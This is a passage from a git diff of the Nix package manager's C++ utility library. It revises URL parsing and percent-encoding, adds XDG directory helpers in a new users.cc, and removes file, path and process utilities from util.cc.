std::regex::ECMAScript); ParsedURL parseURL(const std::string & url) { static std::regex uriRegex( - "((" + schemeRegex + "):" + "((" + schemeNameRegex + "):" + "(?:(?://(" + authorityRegex + ")(" + absPathRegex + "))|(/?" + pathRegex + ")))" + "(?:\\?(" + queryRegex + "))?" - + "(?:#(" + queryRegex + "))?", + + "(?:#(" + fragmentRegex + "))?", std::regex::ECMAScript); std::smatch match; @@ -30,13 +30,13 @@ ParsedURL parseURL(const std::string & url) auto & query = match[6]; auto & fragment = match[7]; - auto isFile = scheme.find("file") != std::string::npos; + auto transportIsFile = parseUrlScheme(scheme).transport == "file"; - if (authority && *authority != "" && isFile) + if (authority && *authority != "" && transportIsFile) throw BadURL("file:// URL '%s' has unexpected authority '%s'", url, *authority); - if (isFile && path.empty()) + if (transportIsFile && path.empty()) path = "/"; return ParsedURL{ @@ -44,7 +44,7 @@ ParsedURL parseURL(const std::string & url) .base = base, .scheme = scheme, .authority = authority, - .path = path, + .path = percentDecode(path), .query = decodeQuery(query), .fragment = percentDecode(std::string(fragment)) }; @@ -88,17 +88,22 @@ std::map decodeQuery(const std::string & query) return result; } -std::string percentEncode(std::string_view s) +const static std::string allowedInQuery = ":@/?"; +const static std::string allowedInPath = ":@/"; + +std::string percentEncode(std::string_view s, std::string_view keep) { std::string res; for (auto & c : s) + // unreserved + keep if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') - || strchr("-._~!$&'()*+,;=:@", c)) + || strchr("-._~", c) + || keep.find(c) != std::string::npos) res += c; else - res += fmt("%%%02x", (unsigned int) c); + res += fmt("%%%02X", c & 0xFF); return res; } @@ -109,9 +114,9 @@ std::string encodeQuery(const std::map & ss) for (auto & [name, value] : ss) { if (!first) res += '&'; first = false; - res += percentEncode(name); + res += percentEncode(name, allowedInQuery); res += '='; - res += percentEncode(value); + res += percentEncode(value, allowedInQuery); } return res; } @@ -122,12 +127,12 @@ std::string ParsedURL::to_string() const scheme + ":" + (authority ? "//" + *authority : "") - + path + + percentEncode(path, allowedInPath) + (query.empty() ? "" : "?" + encodeQuery(query)) + (fragment.empty() ? "" : "#" + percentEncode(fragment)); } -bool ParsedURL::operator ==(const ParsedURL & other) const +bool ParsedURL::operator ==(const ParsedURL & other) const noexcept { return scheme == other.scheme @@ -137,6 +142,13 @@ bool ParsedURL::operator ==(const ParsedURL & other) const && fragment == other.fragment; } +ParsedURL ParsedURL::canonicalise() +{ + ParsedURL res(*this); + res.path = CanonPath(res.path).abs(); + return res; +} + /** * Parse a URL scheme of the form '(applicationScheme\+)?transportScheme' * into a tuple '(applicationScheme, transportScheme)' @@ -154,4 +166,29 @@ ParsedUrlScheme parseUrlScheme(std::string_view scheme) }; } +std::string fixGitURL(const std::string & url) +{ + std::regex scpRegex("([^/]*)@(.*):(.*)"); + if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex)) + return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3"); + if (hasPrefix(url, "file:")) + return url; + if (url.find("://") == std::string::npos) { + return (ParsedURL { + .scheme = "file", + .authority = "", + .path = url + }).to_string(); + } + return url; +} + +// https://www.rfc-editor.org/rfc/rfc3986#section-3.1 +bool isValidSchemeName(std::string_view s) +{ + static std::regex regex(schemeNameRegex, std::regex::ECMAScript); + + return std::regex_match(s.begin(), s.end(), regex, std::regex_constants::match_default); +} + } diff --git a/src/libutil/url.hh b/src/libutil/url.hh index 2a9fb34c1..738ee9f82 100644 --- a/src/libutil/url.hh +++ b/src/libutil/url.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "error.hh" @@ -7,7 +8,8 @@ namespace nix { struct ParsedURL { std::string url; - std::string base; // URL without query/fragment + /// URL without query/fragment + std::string base; std::string scheme; std::optional authority; std::string path; @@ -16,18 +18,26 @@ struct ParsedURL std::string to_string() const; - bool operator ==(const ParsedURL & other) const; + bool operator ==(const ParsedURL & other) const noexcept; + + /** + * Remove `.` and `..` path elements. + */ + ParsedURL canonicalise(); }; MakeError(BadURL, Error); std::string percentDecode(std::string_view in); +std::string percentEncode(std::string_view s, std::string_view keep=""); std::map decodeQuery(const std::string & query); +std::string encodeQuery(const std::map & query); + ParsedURL parseURL(const std::string & url); -/* +/** * Although that’s not really standardized anywhere, an number of tools * use a scheme of the form 'x+y' in urls, where y is the “transport layer” * scheme, and x is the “application layer” scheme. @@ -42,4 +52,18 @@ struct ParsedUrlScheme { ParsedUrlScheme parseUrlScheme(std::string_view scheme); +/* Detects scp-style uris (e.g. git@github.com:NixOS/nix) and fixes + them by removing the `:` and assuming a scheme of `ssh://`. Also + changes absolute paths into file:// URLs. */ +std::string fixGitURL(const std::string & url); + +/** + * Whether a string is valid as RFC 3986 scheme name. + * Colon `:` is part of the URI; not the scheme name, and therefore rejected. + * See https://www.rfc-editor.org/rfc/rfc3986#section-3.1 + * + * Does not check whether the scheme is understood, as that's context-dependent. + */ +bool isValidSchemeName(std::string_view scheme); + } diff --git a/src/libutil/users.cc b/src/libutil/users.cc new file mode 100644 index 000000000..d546e364f --- /dev/null +++ b/src/libutil/users.cc @@ -0,0 +1,61 @@ +#include "util.hh" +#include "users.hh" +#include "environment-variables.hh" +#include "file-system.hh" + +namespace nix { + +Path getCacheDir() +{ + auto cacheDir = getEnv("XDG_CACHE_HOME"); + return cacheDir ? *cacheDir : getHome() + "/.cache"; +} + + +Path getConfigDir() +{ + auto configDir = getEnv("XDG_CONFIG_HOME"); + return configDir ? *configDir : getHome() + "/.config"; +} + +std::vector getConfigDirs() +{ + Path configHome = getConfigDir(); + auto configDirs = getEnv("XDG_CONFIG_DIRS").value_or("/etc/xdg"); + std::vector result = tokenizeString>(configDirs, ":"); + result.insert(result.begin(), configHome); + return result; +} + + +Path getDataDir() +{ + auto dataDir = getEnv("XDG_DATA_HOME"); + return dataDir ? *dataDir : getHome() + "/.local/share"; +} + +Path getStateDir() +{ + auto stateDir = getEnv("XDG_STATE_HOME"); + return stateDir ? *stateDir : getHome() + "/.local/state"; +} + +Path createNixStateDir() +{ + Path dir = getStateDir() + "/nix"; + createDirs(dir); + return dir; +} + + +std::string expandTilde(std::string_view path) +{ + // TODO: expand ~user ? + auto tilde = path.substr(0, 2); + if (tilde == "~/" || tilde == "~") + return getHome() + std::string(path.substr(1)); + else + return std::string(path); +} + +} diff --git a/src/libutil/users.hh b/src/libutil/users.hh new file mode 100644 index 000000000..153cc73fd --- /dev/null +++ b/src/libutil/users.hh @@ -0,0 +1,70 @@ +#pragma once +///@file + +#include "types.hh" + +#ifndef _WIN32 +# include +#endif + +namespace nix { + +std::string getUserName(); + +#ifndef _WIN32 +/** + * @return the given user's home directory from /etc/passwd. + */ +Path getHomeOf(uid_t userId); +#endif + +/** + * @return $HOME or the user's home directory from /etc/passwd. + */ +Path getHome(); + +/** + * @return $XDG_CACHE_HOME or $HOME/.cache. + */ +Path getCacheDir(); + +/** + * @return $XDG_CONFIG_HOME or $HOME/.config. + */ +Path getConfigDir(); + +/** + * @return the directories to search for user configuration files + */ +std::vector getConfigDirs(); + +/** + * @return $XDG_DATA_HOME or $HOME/.local/share. + */ +Path getDataDir(); + +/** + * @return $XDG_STATE_HOME or $HOME/.local/state. + */ +Path getStateDir(); + +/** + * Create the Nix state directory and return the path to it. + */ +Path createNixStateDir(); + +/** + * Perform tilde expansion on a path, replacing tilde with the user's + * home directory. + */ +std::string expandTilde(std::string_view path); + + +/** + * Is the current user UID 0 on Unix? + * + * Currently always false on Windows, but that may change. + */ +bool isRootUser(); + +} diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 383288667..db3ed1ddf 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -1,1093 +1,47 @@ #include "util.hh" -#include "sync.hh" -#include "finally.hh" -#include "serialise.hh" -#include "cgroup.hh" +#include "fmt.hh" +#include "file-path.hh" #include #include -#include -#include -#include -#include -#include -#include -#include #include -#include -#include -#include +#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include +#include +#include +#include -#ifdef __APPLE__ -#include -#include +#ifdef NDEBUG +#error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." #endif -#ifdef __linux__ -#include -#include - -#include -#endif - - -extern char * * environ __attribute__((weak)); - - namespace nix { -std::optional getEnv(const std::string & key) -{ - char * value = getenv(key.c_str()); - if (!value) return {}; - return std::string(value); -} - - -std::map getEnv() -{ - std::map env; - for (size_t i = 0; environ[i]; ++i) { - auto s = environ[i]; - auto eq = strchr(s, '='); - if (!eq) - // invalid env, just keep going - continue; - env.emplace(std::string(s, eq), std::string(eq + 1)); - } - return env; -} - - -void clearEnv() -{ - for (auto & name : getEnv()) - unsetenv(name.first.c_str()); -} - -void replaceEnv(const std::map & newEnv) -{ - clearEnv(); - for (auto & newEnvVar : newEnv) - setenv(newEnvVar.first.c_str(), newEnvVar.second.c_str(), 1); -} - - -Path absPath(Path path, std::optional dir, bool resolveSymlinks) -{ - if (path[0] != '/') { - if (!dir) { -#ifdef __GNU__ - /* GNU (aka. GNU/Hurd) doesn't have any limitation on path - lengths and doesn't define `PATH_MAX'. */ - char *buf = getcwd(NULL, 0); - if (buf == NULL) -#else - char buf[PATH_MAX]; - if (!getcwd(buf, sizeof(buf))) -#endif - throw SysError("cannot get cwd"); - path = concatStrings(buf, "/", path); -#ifdef __GNU__ - free(buf); -#endif - } else - path = concatStrings(*dir, "/", path); - } - return canonPath(path, resolveSymlinks); -} - - -Path canonPath(PathView path, bool resolveSymlinks) -{ - assert(path != ""); - - std::string s; - s.reserve(256); - - if (path[0] != '/') - throw Error("not an absolute path: '%1%'", path); - - std::string temp; - - /* Count the number of times we follow a symlink and stop at some - arbitrary (but high) limit to prevent infinite loops. */ - unsigned int followCount = 0, maxFollow = 1024; - - while (1) { - - /* Skip slashes. */ - while (!path.empty() && path[0] == '/') path.remove_prefix(1); - if (path.empty()) break; - - /* Ignore `.'. */ - if (path == "." || path.substr(0, 2) == "./") - path.remove_prefix(1); - - /* If `..', delete the last component. */ - else if (path == ".." || path.substr(0, 3) == "../") - { - if (!s.empty()) s.erase(s.rfind('/')); - path.remove_prefix(2); - } - - /* Normal component; copy it. */ - else { - s += '/'; - if (const auto slash = path.find('/'); slash == std::string::npos) { - s += path; - path = {}; - } else { - s += path.substr(0, slash); - path = path.substr(slash); - } - - /* If s points to a symlink, resolve it and continue from there */ - if (resolveSymlinks && isLink(s)) { - if (++followCount >= maxFollow) - throw Error("infinite symlink recursion in path '%1%'", path); - temp = concatStrings(readLink(s), path); - path = temp; - if (!temp.empty() && temp[0] == '/') { - s.clear(); /* restart for symlinks pointing to absolute path */ - } else { - s = dirOf(s); - if (s == "/") { // we don’t want trailing slashes here, which dirOf only produces if s = / - s.clear(); - } - } - } - } - } - - return s.empty() ? "/" : std::move(s); -} - - -Path dirOf(const PathView path) -{ - Path::size_type pos = path.rfind('/'); - if (pos == std::string::npos) - return "."; - return pos == 0 ? "/" : Path(path, 0, pos); -} - - -std::string_view baseNameOf(std::string_view path) -{ - if (path.empty()) - return ""; - - auto last = path.size() - 1; - if (path[last] == '/' && last > 0) - last -= 1; - - auto pos = path.rfind('/', last); - if (pos == std::string::npos) - pos = 0; - else - pos += 1; - - return path.substr(pos, last - pos + 1); -} - - -std::string expandTilde(std::string_view path) -{ - // TODO: expand ~user ? - auto tilde = path.substr(0, 2); - if (tilde == "~/" || tilde == "~") - return getHome() + std::string(path.substr(1)); - else - return std::string(path); -} - - -bool isInDir(std::string_view path, std::string_view dir) -{ - return path.substr(0, 1) == "/" - && path.substr(0, dir.size()) == dir - && path.size() >= dir.size() + 2 - && path[dir.size()] == '/'; -} - - -bool isDirOrInDir(std::string_view path, std::string_view dir) -{ - return path == dir || isInDir(path, dir); -} - - -struct stat stat(const Path & path) -{ - struct stat st; - if (stat(path.c_str(), &st)) - throw SysError("getting status of '%1%'", path); - return st; -} - - -struct stat lstat(const Path & path) -{ - struct stat st; - if (lstat(path.c_str(), &st)) - throw SysError("getting status of '%1%'", path); - return st; -} - - -bool pathExists(const Path & path) -{ - int res; - struct stat st; - res = lstat(path.c_str(), &st); - if (!res) return true; - if (errno != ENOENT && errno != ENOTDIR) - throw SysError("getting status of %1%", path); - return false; -} - - -Path readLink(const Path & path) -{ - checkInterrupt(); - std::vector buf; - for (ssize_t bufSize = PATH_MAX/4; true; bufSize += bufSize/2) { - buf.resize(bufSize); - ssize_t rlSize = readlink(path.c_str(), buf.data(), bufSize); - if (rlSize == -1) - if (errno == EINVAL) - throw Error("'%1%' is not a symlink", path); - else - throw SysError("reading symbolic link '%1%'", path); - else if (rlSize < bufSize) - return std::string(buf.data(), rlSize); - } -} - - -bool isLink(const Path & path) -{ - struct stat st = lstat(path); - return S_ISLNK(st.st_mode); -} - - -DirEntries readDirectory(DIR *dir, const Path & path) -{ - DirEntries entries; - entries.reserve(64); - - struct dirent * dirent; - while (errno = 0, dirent = readdir(dir)) { /* sic */ - checkInterrupt(); - std::string name = dirent->d_name; - if (name == "." || name == "..") continue; - entries.emplace_back(name, dirent->d_ino, -#ifdef HAVE_STRUCT_DIRENT_D_TYPE - dirent->d_type -#else - DT_UNKNOWN -#endif - ); - } - if (errno) throw SysError("reading directory '%1%'", path); - - return entries; -} - -DirEntries readDirectory(const Path & path) -{ - AutoCloseDir dir(opendir(path.c_str())); - if (!dir) throw SysError("opening directory '%1%'", path); - - return readDirectory(dir.get(), path); -} - - -unsigned char getFileType(const Path & path) -{ - struct stat st = lstat(path); - if (S_ISDIR(st.st_mode)) return DT_DIR; - if (S_ISLNK(st.st_mode)) return DT_LNK; - if (S_ISREG(st.st_mode)) return DT_REG; - return DT_UNKNOWN; -} - - -std::string readFile(int fd) -{ - struct stat st; - if (fstat(fd, &st) == -1) - throw SysError("statting file"); - - return drainFD(fd, true, st.st_size); -} - - -std::string readFile(const Path & path) -{ - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); - if (!fd) - throw SysError("opening file '%1%'", path); - return readFile(fd.get()); -} - - -void readFile(const Path & path, Sink & sink) -{ - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); - if (!fd) - throw SysError("opening file '%s'", path); - drainFD(fd.get(), sink); -} - - -void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) -{ - AutoCloseFD fd = open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode); - if (!fd) - throw SysError("opening file '%1%'", path); +void initLibUtil() { + // Check that exception handling works. Exception handling has been observed + // not to work on darwin when the linker flags aren't quite right. + // In this case we don't want to expose the user to some unrelated uncaught + // exception, but rather tell them exactly that exception handling is + // broken. + // When exception handling fails, the message tends to be printed by the + // C++ runtime, followed by an abort. + // For example on macOS we might see an error such as + // libc++abi: terminating with uncaught exception of type nix::SystemError: error: C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded. + bool caught = false; try { - writeFull(fd.get(), s); - } catch (Error & e) { - e.addTrace({}, "writing file '%1%'", path); - throw; + throwExceptionSelfCheck(); + } catch (const nix::Error & _e) { + caught = true; } - if (sync) - fd.fsync(); - // Explicitly close to make sure exceptions are propagated. - fd.close(); - if (sync) - syncParent(path); -} + // This is not actually the main point of this check, but let's make sure anyway: + assert(caught); - -void writeFile(const Path & path, Source & source, mode_t mode, bool sync) -{ - AutoCloseFD fd = open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode); - if (!fd) - throw SysError("opening file '%1%'", path); - - std::vector buf(64 * 1024); - - try { - while (true) { - try { - auto n = source.read(buf.data(), buf.size()); - writeFull(fd.get(), {buf.data(), n}); - } catch (EndOfFile &) { break; } - } - } catch (Error & e) { - e.addTrace({}, "writing file '%1%'", path); - throw; - } - if (sync) - fd.fsync(); - // Explicitly close to make sure exceptions are propagated. - fd.close(); - if (sync) - syncParent(path); -} - -void syncParent(const Path & path) -{ - AutoCloseFD fd = open(dirOf(path).c_str(), O_RDONLY, 0); - if (!fd) - throw SysError("opening file '%1%'", path); - fd.fsync(); -} - -std::string readLine(int fd) -{ - std::string s; - while (1) { - checkInterrupt(); - char ch; - // FIXME: inefficient - ssize_t rd = read(fd, &ch, 1); - if (rd == -1) { - if (errno != EINTR) - throw SysError("reading a line"); - } else if (rd == 0) - throw EndOfFile("unexpected EOF reading a line"); - else { - if (ch == '\n') return s; - s += ch; - } - } -} - - -void writeLine(int fd, std::string s) -{ - s += '\n'; - writeFull(fd, s); -} - - -static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed) -{ - checkInterrupt(); - - std::string name(baseNameOf(path)); - - struct stat st; - if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { - if (errno == ENOENT) return; - throw SysError("getting status of '%1%'", path); - } - - if (!S_ISDIR(st.st_mode)) { - /* We are about to delete a file. Will it likely free space? */ - - switch (st.st_nlink) { - /* Yes: last link. */ - case 1: - bytesFreed += st.st_size; - break; - /* Maybe: yes, if 'auto-optimise-store' or manual optimisation - was performed. Instead of checking for real let's assume - it's an optimised file and space will be freed. - - In worst case we will double count on freed space for files - with exactly two hardlinks for unoptimised packages. - */ - case 2: - bytesFreed += st.st_size; - break; - /* No: 3+ links. */ - default: - break; - } - } - - if (S_ISDIR(st.st_mode)) { - /* Make the directory accessible. */ - const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; - if ((st.st_mode & PERM_MASK) != PERM_MASK) { - if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) - throw SysError("chmod '%1%'", path); - } - - int fd = openat(parentfd, path.c_str(), O_RDONLY); - if (fd == -1) - throw SysError("opening directory '%1%'", path); - AutoCloseDir dir(fdopendir(fd)); - if (!dir) - throw SysError("opening directory '%1%'", path); - for (auto & i : readDirectory(dir.get(), path)) - _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed); - } - - int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; - if (unlinkat(parentfd, name.c_str(), flags) == -1) { - if (errno == ENOENT) return; - throw SysError("cannot unlink '%1%'", path); - } -} - -static void _deletePath(const Path & path, uint64_t & bytesFreed) -{ - Path dir = dirOf(path); - if (dir == "") - dir = "/"; - - AutoCloseFD dirfd{open(dir.c_str(), O_RDONLY)}; - if (!dirfd) { - if (errno == ENOENT) return; - throw SysError("opening directory '%1%'", path); - } - - _deletePath(dirfd.get(), path, bytesFreed); -} - - -void deletePath(const Path & path) -{ - uint64_t dummy; - deletePath(path, dummy); -} - - -void deletePath(const Path & path, uint64_t & bytesFreed) -{ - //Activity act(*logger, lvlDebug, format("recursively deleting path '%1%'") % path); - bytesFreed = 0; - _deletePath(path, bytesFreed); -} - - -std::string getUserName() -{ - auto pw = getpwuid(geteuid()); - std::string name = pw ? pw->pw_name : getEnv("USER").value_or(""); - if (name.empty()) - throw Error("cannot figure out user name"); - return name; -} - - -Path getHome() -{ - static Path homeDir = []() - { - std::optional unownedUserHomeDir = {}; - auto homeDir = getEnv("HOME"); - if (homeDir) { - // Only use $HOME if doesn't exist or is owned by the current user. - struct stat st; - int result = stat(homeDir->c_str(), &st); - if (result != 0) { - if (errno != ENOENT) { - warn("couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", *homeDir, errno); - homeDir.reset(); - } - } else if (st.st_uid != geteuid()) { - unownedUserHomeDir.swap(homeDir); - } - } - if (!homeDir) { - std::vector buf(16384); - struct passwd pwbuf; - struct passwd * pw; - if (getpwuid_r(geteuid(), &pwbuf, buf.data(), buf.size(), &pw) != 0 - || !pw || !pw->pw_dir || !pw->pw_dir[0]) - throw Error("cannot determine user's home directory"); - homeDir = pw->pw_dir; - if (unownedUserHomeDir.has_value() && unownedUserHomeDir != homeDir) { - warn("$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", *unownedUserHomeDir, *homeDir); - } - } - return *homeDir; - }(); - return homeDir; -} - - -Path getCacheDir() -{ - auto cacheDir = getEnv("XDG_CACHE_HOME"); - return cacheDir ? *cacheDir : getHome() + "/.cache"; -} - - -Path getConfigDir() -{ - auto configDir = getEnv("XDG_CONFIG_HOME"); - return configDir ? *configDir : getHome() + "/.config"; -} - -std::vector getConfigDirs() -{ - Path configHome = getConfigDir(); - auto configDirs = getEnv("XDG_CONFIG_DIRS").value_or("/etc/xdg"); - std::vector result = tokenizeString>(configDirs, ":"); - result.insert(result.begin(), configHome); - return result; -} - - -Path getDataDir() -{ - auto dataDir = getEnv("XDG_DATA_HOME"); - return dataDir ? *dataDir : getHome() + "/.local/share"; -} - - -std::optional getSelfExe() -{ - static auto cached = []() -> std::optional - { - #if __linux__ - return readLink("/proc/self/exe"); - #elif __APPLE__ - char buf[1024]; - uint32_t size = sizeof(buf); - if (_NSGetExecutablePath(buf, &size) == 0) - return buf; - else - return std::nullopt; - #else - return std::nullopt; - #endif - }(); - return cached; -} - - -Paths createDirs(const Path & path) -{ - Paths created; - if (path == "/") return created; - - struct stat st; - if (lstat(path.c_str(), &st) == -1) { - created = createDirs(dirOf(path)); - if (mkdir(path.c_str(), 0777) == -1 && errno != EEXIST) - throw SysError("creating directory '%1%'", path); - st = lstat(path); - created.push_back(path); - } - - if (S_ISLNK(st.st_mode) && stat(path.c_str(), &st) == -1) - throw SysError("statting symlink '%1%'", path); - - if (!S_ISDIR(st.st_mode)) throw Error("'%1%' is not a directory", path); - - return created; -} - - -void readFull(int fd, char * buf, size_t count) -{ - while (count) { - checkInterrupt(); - ssize_t res = read(fd, buf, count); - if (res == -1) { - if (errno == EINTR) continue; - throw SysError("reading from file"); - } - if (res == 0) throw EndOfFile("unexpected end-of-file"); - count -= res; - buf += res; - } -} - - -void writeFull(int fd, std::string_view s, bool allowInterrupts) -{ - while (!s.empty()) { - if (allowInterrupts) checkInterrupt(); - ssize_t res = write(fd, s.data(), s.size()); - if (res == -1 && errno != EINTR) - throw SysError("writing to file"); - if (res > 0) - s.remove_prefix(res); - } -} - - -std::string drainFD(int fd, bool block, const size_t reserveSize) -{ - // the parser needs two extra bytes to append terminating characters, other users will - // not care very much about the extra memory. - StringSink sink(reserveSize + 2); - drainFD(fd, sink, block); - return std::move(sink.s); -} - - -void drainFD(int fd, Sink & sink, bool block) -{ - // silence GCC maybe-uninitialized warning in finally - int saved = 0; - - if (!block) { - saved = fcntl(fd, F_GETFL); - if (fcntl(fd, F_SETFL, saved | O_NONBLOCK) == -1) - throw SysError("making file descriptor non-blocking"); - } - - Finally finally([&]() { - if (!block) { - if (fcntl(fd, F_SETFL, saved) == -1) - throw SysError("making file descriptor blocking"); - } - }); - - std::vector buf(64 * 1024); - while (1) { - checkInterrupt(); - ssize_t rd = read(fd, buf.data(), buf.size()); - if (rd == -1) { - if (!block && (errno == EAGAIN || errno == EWOULDBLOCK)) - break; - if (errno != EINTR) - throw SysError("reading from file"); - } - else if (rd == 0) break; - else sink({(char *) buf.data(), (size_t) rd}); - } + if (sodium_init() == -1) + throw Error("could not initialise libsodium"); } ////////////////////////////////////////////////////////////////////// -unsigned int getMaxCPU() -{ - #if __linux__ - try { - auto cgroupFS = getCgroupFS(); - if (!cgroupFS) return 0; - - auto cgroups = getCgroups("/proc/self/cgroup"); - auto cgroup = cgroups[""]; - if (cgroup == "") return 0; - - auto cpuFile = *cgroupFS + "/" + cgroup + "/cpu.max"; - - auto cpuMax = readFile(cpuFile); - auto cpuMaxParts = tokenizeString>(cpuMax, " \n"); - auto quota = cpuMaxParts[0]; - auto period = cpuMaxParts[1]; - if (quota != "max") - return std::ceil(std::stoi(quota) / std::stof(period)); - } catch (Error &) { ignoreException(lvlDebug); } - #endif - - return 0; -} - -////////////////////////////////////////////////////////////////////// - - -AutoDelete::AutoDelete() : del{false} {} - -AutoDelete::AutoDelete(const std::string & p, bool recursive) : path(p) -{ - del = true; - this->recursive = recursive; -} - -AutoDelete::~AutoDelete() -{ - try { - if (del) { - if (recursive) - deletePath(path); - else { - if (remove(path.c_str()) == -1) - throw SysError("cannot unlink '%1%'", path); - } - } - } catch (...) { - ignoreException(); - } -} - -void AutoDelete::cancel() -{ - del = false; -} - -void AutoDelete::reset(const Path & p, bool recursive) { - path = p; - this->recursive = recursive; - del = true; -} - - - -////////////////////////////////////////////////////////////////////// - - -AutoCloseFD::AutoCloseFD() : fd{-1} {} - - -AutoCloseFD::AutoCloseFD(int fd) : fd{fd} {} - - -AutoCloseFD::AutoCloseFD(AutoCloseFD && that) : fd{that.fd} -{ - that.fd = -1; -} - - -AutoCloseFD & AutoCloseFD::operator =(AutoCloseFD && that) -{ - close(); - fd = that.fd; - that.fd = -1; - return *this; -} - - -AutoCloseFD::~AutoCloseFD() -{ - try { - close(); - } catch (...) { - ignoreException(); - } -} - - -int AutoCloseFD::get() const -{ - return fd; -} - - -void AutoCloseFD::close() -{ - if (fd != -1) { - if (::close(fd) == -1) - /* This should never happen. */ - throw SysError("closing file descriptor %1%", fd); - fd = -1; - } -} - -void AutoCloseFD::fsync() const -{ - if (fd != -1) { - int result; -#if __APPLE__ - result = ::fcntl(fd, F_FULLFSYNC); -#else - result = ::fsync(fd); -#endif - if (result == -1) - throw SysError("fsync file descriptor %1%", fd); - } -} - - -void AutoCloseFD::startFsync() const -{ -#if __linux__ - if (fd != -1) { - /* Ignore failure, since fsync must be run later anyway. This is just a performance optimization. */ - ::sync_file_range(fd, 0, 0, SYNC_FILE_RANGE_WRITE); - } -#endif -} - - -AutoCloseFD::operator bool() const -{ - return fd != -1; -} - - -int AutoCloseFD::release() -{ - int oldFD = fd; - fd = -1; - return oldFD; -} - - -void Pipe::create() -{ - int fds[2]; -#if HAVE_PIPE2 - if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); -#else - if (pipe(fds) != 0) throw SysError("creating pipe"); - closeOnExec(fds[0]); - closeOnExec(fds[1]); -#endif - readSide = fds[0]; - writeSide = fds[1]; -} - - -void Pipe::close() -{ - readSide.close(); - writeSide.close(); -} - - -////////////////////////////////////////////////////////////////////// - - -Pid::Pid() -{ -} - - -Pid::Pid(pid_t pid) - : pid(pid) -{ -} - - -Pid::~Pid() -{ - if (pid != -1) kill(); -} - - -void Pid::operator =(pid_t pid) -{ - if (this->pid != -1 && this->pid != pid) kill(); - this->pid = pid; - killSignal = SIGKILL; // reset signal to default -} - - -Pid::operator pid_t() -{ - return pid; -} - - -int Pid::kill() -{ - assert(pid != -1); - - debug("killing process %1%", pid); - - /* Send the requested signal to the child. If it has its own - process group, send the signal to every process in the child - process group (which hopefully includes *all* its children). */ - if (::kill(separatePG ? -pid : pid, killSignal) != 0) { - /* On BSDs, killing a process group will return EPERM if all - processes in the group are zombies (or something like - that). So try to detect and ignore that situation. */ -#if __FreeBSD__ || __APPLE__ - if (errno != EPERM || ::kill(pid, 0) != 0) -#endif - logError(SysError("killing process %d", pid).info()); - } - - return wait(); -} - - -int Pid::wait() -{ - assert(pid != -1); - while (1) { - int status; - int res = waitpid(pid, &status, 0); - if (res == pid) { - pid = -1; - return status; - } - if (errno != EINTR) - throw SysError("cannot get exit status of PID %d", pid); - checkInterrupt(); - } -} - - -void Pid::setSeparatePG(bool separatePG) -{ - this->separatePG = separatePG; -} - - -void Pid::setKillSignal(int signal) -{ - this->killSignal = signal; -} - - -pid_t Pid::release() -{ - pid_t p = pid; - pid = -1; - return p; -} - - -void killUser(uid_t uid) -{ - debug("killing all processes running under uid '%1%'", uid); - - assert(uid != 0); /* just to be safe... */ - - /* The system call kill(-1, sig) sends the signal `sig' to all - users to which the current process can send signals. So we - fork a process, switch to uid, and send a mass kill. */ - - Pid pid = startProcess([&]() { - - if (setuid(uid) == -1) - throw SysError("setting uid"); - - while (true) { -#ifdef __APPLE__ - /* OSX's kill syscall takes a third parameter that, among - other things, determines if kill(-1, signo) affects the - calling process. In the OSX libc, it's set to true, - which means "follow POSIX", which we don't want here - */ - if (syscall(SYS_kill, -1, SIGKILL, false) == 0) break; -#else - if (kill(-1, SIGKILL) == 0) break; -#endif - if (errno == ESRCH || errno == EPERM) break; /* no more processes */ - if (errno != EINTR) - throw SysError("cannot kill processes for uid '%1%'", uid); - } - - _exit(0); - }); - - int status = pid.wait(); - if (status != 0) - throw Error("cannot kill processes for uid '%1%': %2%", uid, statusToString(status)); - - /* !!! We should really do some check to make sure that there are - no processes left running under `uid', but there is no portable - way to do so (I think). The most reliable way may be `ps -eo - uid | grep -q $uid'. */ -} - - -////////////////////////////////////////////////////////////////////// - - -/* Wrapper around vfork to prevent the child process from clobbering - the caller's stack frame in the parent. */ -static pid_t doFork(bool allowVfork, std::function fun) __attribute__((noinline)); -static pid_t doFork(bool allowVfork, std::function fun) -{ -#ifdef __linux__ - pid_t pid = allowVfork ? vfork() : fork(); -#else - pid_t pid = fork(); -#endif - if (pid != 0) return pid; - fun(); - abort(); -} - - -pid_t startProcess(std::function fun, const ProcessOptions & options) -{ - auto wrapper = [&]() { - if (!options.allowVfork) - logger = makeSimpleLogger(); - try { -#if __linux__ - if (options.dieWithParent && prctl(PR_SET_PDEATHSIG, SIGKILL) == -1) - throw SysError("setting death signal"); -#endif - fun(); - } catch (std::exception & e) { - try { - std::cerr << options.errorPrefix << e.what() << "\n"; - } catch (...) { } - } catch (...) { } - if (options.runExitHandlers) - exit(1); - else - _exit(1); - }; - - pid_t pid = doFork(options.allowVfork, wrapper); - if (pid == -1) throw SysError("unable to fork"); - - return pid; -} - - std::vector stringsToCharPtrs(const Strings & ss) { std::vector res; @@ -1096,227 +50,14 @@ std::vector stringsToCharPtrs(const Strings & ss) return res; } -std::string runProgram(Path program, bool searchPath, const Strings & args, - const std::optional & input) -{ - auto res = runProgram(RunOptions {.program = program, .searchPath = searchPath, .args = args, .input = 